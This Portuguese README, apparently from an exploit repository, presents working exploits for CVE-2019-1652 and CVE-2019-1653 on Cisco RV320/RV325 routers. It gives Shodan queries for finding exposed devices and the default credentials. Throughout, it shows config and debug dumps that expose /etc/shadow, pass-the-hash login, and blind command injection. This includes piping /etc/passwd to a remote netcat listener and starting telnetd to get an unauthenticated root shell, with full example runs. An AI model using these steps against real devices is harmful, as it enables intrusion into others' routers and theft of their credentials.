
CVE-2019-1652 /CVE-2019-1653 Exploits Para Despejar Configurações Cisco RV320 e Dados de Depuração E Exploit Root Remoto!
Exploits CVE-2019-1653/CVE-2019-1652 para Extrair Configurações de Cisco RV320 e obter RCE
Implementações dos exploits CVE-2019-1652 e CVE-2019-1653 divulgados pela Red Team Pentesting GmbH.
Eu testei apenas em um RV320, mas de acordo com o aviso da Cisco, o RV325 também é vulnerável.
As seguintes consultas do Shodan parecem encontrá-los, se você está curioso sobre quantos estão por aí. Parece haver alguns...
ssl:RV320
ssl:RV325
porta:161 RV325
porta:161 RV320
As vulnerabilidades permitem o seguinte:
A propósito, as credenciais padrão são cisco:cisco.
Para o exploit de extração de configuração, basta definir o alvo, porta, ssl ativado/desativado e diretório de saída. Ele irá extrair a configuração para lá.
$ python dump_config.py -t x.x.x.x -p 8443 -s -d output
{+} Enviando requisição para https://x.x.x.x:8443/cgi-bin/config.exp
{*} Parece que encontramos uma configuração válida! Escrevendo em output/x.x.x.x_8443.conf
$
Para o exploit de extração de dados de depuração, é a mesma rotina, mas os dados extraídos são maiores e criptografados.
Você vai querer descriptografá-los usando o script "decrypt.sh" fornecido, ou manualmente usando openssl. Isso lhe dará um arquivo tar.
A saída de depuração não só fornece a configuração, mas também backups de /etc e /var, e sim, o arquivo /etc/shadow está presente.
Eu vou reescrever o script de descriptografia em Python eventualmente, mas isso foi uma gambiarra rápida.
$ python dump_debug.py -t x.x.x.x -p 8443 -s -d output
{+} Enviando requisição para https://x.x.x.x:8443/cgi-bin/export_debug_msg.exp
{*} Parece que encontramos uma configuração criptografada válida! Escrevendo em output/x.x.x.x_8443.enc
$ ./decrypt.sh output/x.x.x.x_8443.enc
Script de Descriptografia de Dados de Depuração Criptografados da Cisco!
{+} Descriptografando output/x.x.x.x_8443.enc
{+} O texto simples deve estar em output/x.x.x.x_8443.enc.decrypted.tar.gz...
$
Usando as credenciais que você obtém destes (com hash) você pode então explorar CVE-2019-1652 para executar comandos no dispositivo.
Algumas notas sobre o "hash" da senha, antes de prosseguirmos. Nestes, no arquivo de configuração, você encontrará uma variável chamada PASSWD seguida por um hash md5.
Este hash md5 é md5($password.$auth_key), onde a auth_key é um valor estático que você pode encontrar fazendo um GET / e analisando.
Há uma aparentemente comum que eu codifiquei diretamente no exploit RCE como fallback caso a regex maldita de análise da página falhe.
CVE-2019-1652 descreve uma vulnerabilidade trivial de injeção de comandos shell, que requer autenticação. exec_cmd.py implementa isso, supondo que você tenha credenciais de login válidas. "cisco:cisco" é o padrão, mas você também pode quebrar alguns hashes.
A injeção de comando é cega, então você não obterá nenhuma saída. O ambiente é uma configuração incrivelmente limitada do Busybox com um netcat capenga, e os dispositivos são mips64, então não me preocupei em escrever um exploit de shell reverso desta vez. Você pode, no entanto, obter saída de comando fazendo coisas como cat /etc/passwd | nc HOST PORT e tendo um listener em execução, ou algo assim.
Você também pode injetar um comando como telnetd -l /bin/sh -p 1337 e conectar ao serviço telnet resultante, que lhe fornecerá um belo shell root não autenticado.
Exemplo de execução do exploit abaixo:
$ python exec_cmd.py -t x.x.x.x -s -p 8443 -U cisco -P cisco -c "cat /etc/passwd | nc x.x.x.x 1337"
{+} Enviando requisição para https://x.x.x.x:8443/ para extrair chave de autenticação...
{*} Valor de auth_key obtido: 1964300002
{+} Login bem-sucedido, podemos prosseguir!
{+} Ok, agora vamos executar seu comando: cat /etc/passwd | nc x.x.x.x 1337
{+} Não obtemos saída então... É. A parada é cega.
$
# no listener...
$ nc -lp 1337
root:x:0:0:root:/:/bin/admin
nobody:x:0:0:nobody:/nonexistent:/bin/false
_lldpd:x:501:501:_lldpd:/:/bin/sh
cisco:x:0:0:root:/bin:/bin/admin
$
Como é a Cisco, você pode passar o hash que extraiu e obter uma sessão logada. Então escrevemos um exploit que extrai o hash e o passa.
Isso se chama easy_access.py. Porque o caminho dos binários CGI contém uma pasta chamada "EasyAccess".
Exemplo de execução do EasyAccess abaixo...
$ python easy_access.py -t x.x.x.x -p 8443 -s -c "telnetd -l /bin/sh -p 1337"
{+} Vamos pegar um arquivo de configuração...
{+} Enviando requisição para https://x.x.x.x:8443/cgi-bin/config.exp
{*} Parece que encontramos uma configuração válida!
{+} Extraindo credenciais...
{+} Usuário obtido: cisco
{+} Senha (hash) obtida: [redigido]
{+} Enviando requisição para https://x.x.x.x:8443/ para extrair chave de autenticação...
{*} Valor de auth_key obtido: 1964300002
{+} Login bem-sucedido, podemos prosseguir!
{+} Ok, agora vamos executar seu comando: telnetd -l /bin/sh -p 1337
{+} Não obtemos saída então... É. A parada é cega.
$ telnet x.x.x.x 1337
<snip>
BusyBox v1.2.1 (2017.10.30-07:33+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
~ # id
uid=0(root) gid=99(nobody)
~ #
Feliz dominando, crianças.